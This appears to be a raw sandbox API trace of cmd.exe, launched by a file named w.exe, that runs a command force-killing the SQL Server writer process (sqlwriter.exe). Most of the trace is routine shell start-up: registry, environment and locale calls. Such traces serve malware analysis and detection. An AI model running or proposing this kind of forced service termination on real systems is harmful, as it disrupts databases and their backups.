	[0034.815] SetConsoleCtrlHandler (HandlerRoutine=0x4a48e72a, Add=1) returned 1
	[0034.815] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0034.815] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0034.815] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0034.815] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a4941ac | out: lpMode=0x4a4941ac) returned 0
	[0034.815] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0034.815] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a4941b0 | out: lpMode=0x4a4941b0) returned 0
	[0034.815] GetEnvironmentStringsW () returned 0x432010*
	[0034.815] GetProcessHeap () returned 0x420000
	[0034.815] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xaca) returned 0x432ae8
	[0034.815] FreeEnvironmentStringsW (penv=0x432010) returned 1
	[0034.816] GetProcessHeap () returned 0x420000
	[0034.816] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4) returned 0x430c48
	[0034.816] GetEnvironmentStringsW () returned 0x432010*
	[0034.816] GetProcessHeap () returned 0x420000
	[0034.816] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xaca) returned 0x4335c0
	[0034.816] FreeEnvironmentStringsW (penv=0x432010) returned 1
	[0034.816] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2de6d4 | out: phkResult=0x2de6d4*=0x68) returned 0x0
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x0, lpData=0x2de6e0*=0x0, lpcbData=0x2de6d8*=0x1000) returned 0x2
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x1, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x0, lpData=0x2de6e0*=0x1, lpcbData=0x2de6d8*=0x1000) returned 0x2
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x0, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x40, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x40, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.816] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x0, lpData=0x2de6e0*=0x40, lpcbData=0x2de6d8*=0x1000) returned 0x2
	[0034.816] RegCloseKey (hKey=0x68) returned 0x0
	[0034.816] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2de6d4 | out: phkResult=0x2de6d4*=0x68) returned 0x0
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x0, lpData=0x2de6e0*=0x40, lpcbData=0x2de6d8*=0x1000) returned 0x2
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x1, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x0, lpData=0x2de6e0*=0x1, lpcbData=0x2de6d8*=0x1000) returned 0x2
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x0, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x9, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x4, lpData=0x2de6e0*=0x9, lpcbData=0x2de6d8*=0x4) returned 0x0
	[0034.817] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2de6dc, lpData=0x2de6e0, lpcbData=0x2de6d8*=0x1000 | out: lpType=0x2de6dc*=0x0, lpData=0x2de6e0*=0x9, lpcbData=0x2de6d8*=0x1000) returned 0x2
	[0034.817] RegCloseKey (hKey=0x68) returned 0x0
	[0034.817] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302b
	[0034.817] srand (_Seed=0x5d16302b) 
	[0034.817] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlwriter.exe \""
	[0034.817] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlwriter.exe \""
	[0034.817] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a495260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0034.817] GetProcessHeap () returned 0x420000
	[0034.817] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x210) returned 0x432010
	[0034.817] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x432018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0034.818] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.818] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.818] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0034.818] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0034.818] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0034.818] GetProcessHeap () returned 0x420000
	[0034.818] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x432ae8 | out: hHeap=0x420000) returned 1
	[0034.818] GetEnvironmentStringsW () returned 0x432228*
	[0034.818] GetProcessHeap () returned 0x420000
	[0034.818] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xae2) returned 0x434b88
	[0034.818] FreeEnvironmentStringsW (penv=0x432228) returned 1
	[0034.818] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0034.818] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0034.818] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0034.818] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0034.818] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0034.818] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0034.818] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0034.818] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0034.818] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0034.819] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0034.819] GetProcessHeap () returned 0x420000
	[0034.819] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x54) returned 0x435678
	[0034.819] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2df4a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0034.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2df4a0, lpFilePart=0x2df49c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2df49c*="Desktop") returned 0x25
	[0034.819] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0034.819] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2df21c | out: lpFindFileData=0x2df21c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x431e90
	[0034.819] FindClose (in: hFindFile=0x431e90 | out: hFindFile=0x431e90) returned 1
	[0034.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2df21c | out: lpFindFileData=0x2df21c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x431e90
	[0034.819] FindClose (in: hFindFile=0x431e90 | out: hFindFile=0x431e90) returned 1
	[0034.819] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0034.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2df21c | out: lpFindFileData=0x2df21c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x431e90
	[0034.819] FindClose (in: hFindFile=0x431e90 | out: hFindFile=0x431e90) returned 1
	[0034.819] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0034.820] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0034.820] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0034.820] GetProcessHeap () returned 0x420000
	[0034.820] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434b88 | out: hHeap=0x420000) returned 1
	[0034.820] GetEnvironmentStringsW () returned 0x434098*
	[0034.820] GetProcessHeap () returned 0x420000
	[0034.820] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xb36) returned 0x435ed8
	[0034.820] FreeEnvironmentStringsW (penv=0x434098) returned 1
	[0034.820] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a495260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0034.820] GetProcessHeap () returned 0x420000
	[0034.820] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435678 | out: hHeap=0x420000) returned 1
	[0034.820] GetProcessHeap () returned 0x420000
	[0034.820] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x400e) returned 0x436a18
	[0034.820] GetProcessHeap () returned 0x420000
	[0034.820] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4e) returned 0x432d68
	[0034.820] GetProcessHeap () returned 0x420000
	[0034.820] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4008) returned 0x43aa30
	[0034.821] GetProcessHeap () returned 0x420000
	[0034.821] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4008) returned 0x43ea40
	[0034.822] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.823] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x418) returned 0x432dc0
	[0034.823] SetErrorMode (uMode=0x0) returned 0x8003
	[0034.823] SetErrorMode (uMode=0x1) returned 0x0
	[0034.823] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x432dc8, lpFilePart=0x2df418 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x2df418*="f") returned 0x31
	[0034.823] SetErrorMode (uMode=0x8003) returned 0x1
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.823] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x432dc0, Size=0x90) returned 0x432dc0
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.823] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x432dc0) returned 0x90
	[0034.823] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.823] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x72) returned 0x442a68
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.823] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xd8) returned 0x432e58
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.823] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x432e58, Size=0x72) returned 0x432e58
	[0034.823] GetProcessHeap () returned 0x420000
	[0034.824] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x432e58) returned 0x72
	[0034.824] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.824] GetProcessHeap () returned 0x420000
	[0034.824] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xe0) returned 0x432ed8
	[0034.827] GetProcessHeap () returned 0x420000
	[0034.827] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x432ed8, Size=0x76) returned 0x432ed8
	[0034.827] GetProcessHeap () returned 0x420000
	[0034.827] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x432ed8) returned 0x76
	[0034.827] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.827] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im sqlwriter.exe ", fInfoLevelId=0x1, lpFindFileData=0x2df1b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2df1b4) returned 0xffffffff
	[0034.827] GetLastError () returned 0x3
	[0034.828] GetProcessHeap () returned 0x420000
	[0034.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43aa30 | out: hHeap=0x420000) returned 1
	[0034.828] GetProcessHeap () returned 0x420000
	[0034.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ea40 | out: hHeap=0x420000) returned 1
	[0034.828] GetProcessHeap () returned 0x420000
	[0034.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436a18 | out: hHeap=0x420000) returned 1
	[0034.828] GetConsoleOutputCP () returned 0x1b5
	[0034.828] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a494260 | out: lpCPInfo=0x4a494260) returned 1
	[0034.828] GetUserDefaultLCID () returned 0x409
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a494950, cchData=8 | out: lpLCData=":") returned 2
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2df5e0, cchData=128 | out: lpLCData="0") returned 2
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2df5e0, cchData=128 | out: lpLCData="0") returned 2
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2df5e0, cchData=128 | out: lpLCData="1") returned 2
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a494940, cchData=8 | out: lpLCData="/") returned 2
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a494d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a494d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a494d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a494cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a494c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a494c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a494c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a494930, cchData=8 | out: lpLCData=".") returned 2
	[0034.829] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a494920, cchData=8 | out: lpLCData=",") returned 2
	[0034.829] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0034.831] GetProcessHeap () returned 0x420000
	[0034.831] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20c) returned 0x432f58
	[0034.831] GetConsoleTitleW (in: lpConsoleTitle=0x432f58, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.831] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0034.831] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0034.831] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0034.831] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0034.831] GetProcessHeap () returned 0x420000
	[0034.831] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x400a) returned 0x436a18
	[0034.831] GetProcessHeap () returned 0x420000
	[0034.831] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436a18 | out: hHeap=0x420000) returned 1
	[0034.832] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0034.832] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0034.832] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0034.832] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0034.832] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0034.832] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0034.832] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0034.832] GetProcessHeap () returned 0x420000
	[0034.832] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x58) returned 0x433170
	[0034.832] GetProcessHeap () returned 0x420000
	[0034.832] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x1a) returned 0x435718
	[0034.833] GetProcessHeap () returned 0x420000
	[0034.833] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x36) returned 0x4331d0
	[0034.833] GetConsoleTitleW (in: lpConsoleTitle=0x2df2d8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.834] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0034.834] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0034.834] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0034.834] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0034.834] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0034.834] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0034.834] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0034.834] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0034.834] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0034.834] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0034.834] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0034.834] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0034.834] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0034.834] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0034.834] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0034.834] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0034.834] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0034.834] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0034.834] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0034.834] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0034.834] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0034.834] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0034.834] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0034.835] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0034.835] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0034.835] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0034.835] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0034.835] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0034.835] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0034.835] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0034.835] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0034.835] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0034.835] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0034.835] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0034.835] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0034.835] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0034.835] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0034.835] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0034.835] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0034.835] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0034.835] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0034.835] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0034.835] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0034.835] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0034.835] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0034.835] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0034.835] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0034.835] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0034.835] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0034.835] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0034.835] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0034.835] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0034.835] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0034.835] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0034.835] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0034.835] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0034.835] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0034.835] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0034.836] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0034.836] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0034.836] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0034.836] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0034.836] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0034.836] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0034.836] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0034.836] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0034.836] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0034.836] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0034.836] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0034.836] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0034.836] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0034.836] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0034.836] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0034.836] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0034.836] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0034.836] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0034.836] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0034.836] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0034.836] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0034.836] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0034.836] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
